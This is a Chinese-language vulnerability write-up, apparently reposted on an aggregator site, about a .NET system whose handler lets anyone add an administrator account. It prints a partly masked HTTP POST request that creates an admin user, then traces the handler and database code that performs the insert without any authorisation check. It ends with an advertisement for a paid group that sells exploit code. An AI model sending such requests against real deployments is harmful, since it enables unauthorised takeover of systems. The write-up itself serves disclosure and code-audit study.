当前位置: 首页 > news >正文

.NET 情报 | 分析某云系统添加管理员漏洞

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02漏洞背景

图片

03漏洞复现

近日外部公开渠道爆出该系统的System**.as**接口存在敏感信息泄露漏洞,可导致攻击者添加后台管理员账户和密码。具体的数据包如下所示。

POST /System**.as** HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/top.html
Connection: close
Cookie: ASP.NET_SessionId=whnrkuaqbz0lyv1fb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175operator**=test&operator**=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=ad**

上述请求构造的POST请求,包含了新增账户和两次确认的密码,发送请求后在页面返回显示1,表示成功添加管理员账户。

04漏洞分析

存在漏洞的是一个Handler,经过分析得知代码隐藏在New**.System**类名中,首先从HTTP请求的表单数据中获取operatorName、operatorPwd、operatorRole等参数。

string operatorName = context.Request.Form["operatorName"];
string operatorPwd = context.Request.Form["operatorPwd"];
string operatorRole = context.Request.Form["operatorRole"];
string visible_jh = context.Request.Form["visible_jh"];

随后,下面代码调用了SystemMngBLL类中的addOperators方法,并传入提取的表单数据作为参数。该方法返回一个整数,该整数被转换为字符串并存储在rtnStr中。

rtnStr = SystemMngBLL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh).ToString();

接着,下面业务逻辑层 (BLL) 中的方法,调用了同名的数据访问层 (DAL) 方法,实际上是一个传递操作。与数据库交互的实际工作由DAL负责。

public static int addOperators(string operatorName, string operatorPwd, string operatorRole, string visible_jh)
{return SystemMngDAL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh);
}

然后,该方法构建了一个SQL命令,如果数据库中不存在相同用户名的操作员,则将其插入数据库。

public static int addOperators(string operatorName, string operatorPwd, string operatorRole, string visible_jh)
{string sqlStr = "if not exists(select * from qx where username=@username)\r\n                                insert qx(username, password, qx, memo, people_node,visible_jh) values(@username,@password, '1111111111111111111111111', '', @people_node,@visible_jh)";SqlParameter[] p = new SqlParameter[]{new SqlParameter("@username", operatorName),new SqlParameter("@password", operatorPwd),new SqlParameter("@visible_jh", visible_jh),new SqlParameter("@people_node", operatorRole)};return SqlHelper.ExecuteNonQuery(SqlHelper.dbCon, CommandType.Text, sqlStr, p);
}

插入一个新记录,包含提供的username、password、固定的qx值(可能代表权限)、空的memo、people_node(角色)和visible_jh(可见性)。

星球持续更新最新的 .NET 应用漏洞POC,并在每年HW期间提供一手漏洞情报。这些POC/EXP涵盖了一些0day和1day漏洞,确保您始终掌握最前沿的安全信息和防护措施。

图片

 05.NET安全星球

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

http://www.lryc.cn/news/404892.html

相关文章:

  • vue检测页面手指滑动距离,执行回调函数,使用混入的语法,多个组件都可以使用
  • opencv 优势
  • 1-如何挑选Android编译服务器
  • 【JS逆向课件:第十六课:Scrapy基础2】
  • 使用 PowerShell 自动化图像识别与鼠标操作
  • 组队学习——支持向量机
  • 【数据中心】数据中心的IP封堵防护:构建网络防火墙的基石
  • LangChain的使用详解
  • Modbus转BACnet/IP网关快速对接Modbus协议设备与BA系统
  • 万字长文之分库分表里无分库分表键如何查询【后端面试题 | 中间件 | 数据库 | MySQL | 分库分表 | 其他查询】
  • 如何查看jvm资源占用情况
  • 科研绘图系列:R语言TCGA分组饼图(multiple pie charts)
  • ReadAgent,一款具有要点记忆的人工智能阅读代理
  • 构建智能:利用Gradle项目属性控制构建行为
  • 如何通过smtp设置使ONLYOFFICE协作空间服务器可以发送注册邀请邮件
  • SQL labs靶场-SQL注入入门
  • HarmonyOS应用开发者高级认证,Next版本发布后最新题库 - 单选题序号4
  • 使用LSTM完成时间序列预测
  • 《数据结构:顺序实现二叉树》
  • 【HarmonyOS】HarmonyOS NEXT学习日记:六、渲染控制、样式结构重用
  • 【防火墙】防火墙NAT、智能选路综合实验
  • VUE之---slot插槽
  • linux、windows、macos,命令终端清屏
  • 【RaspberryPi】树莓派Matlab/Simulink支持包安装与使用
  • 嵌入式人工智能(10-基于树莓派4B的DS1302实时时钟RTC)
  • C++ | Leetcode C++题解之第275题H指数II
  • 编写DockerFile
  • TCP并发服务器多线程
  • 技术速递|C# 13:探索最新的预览功能
  • Python设计模式:巧用元类创建单例模式!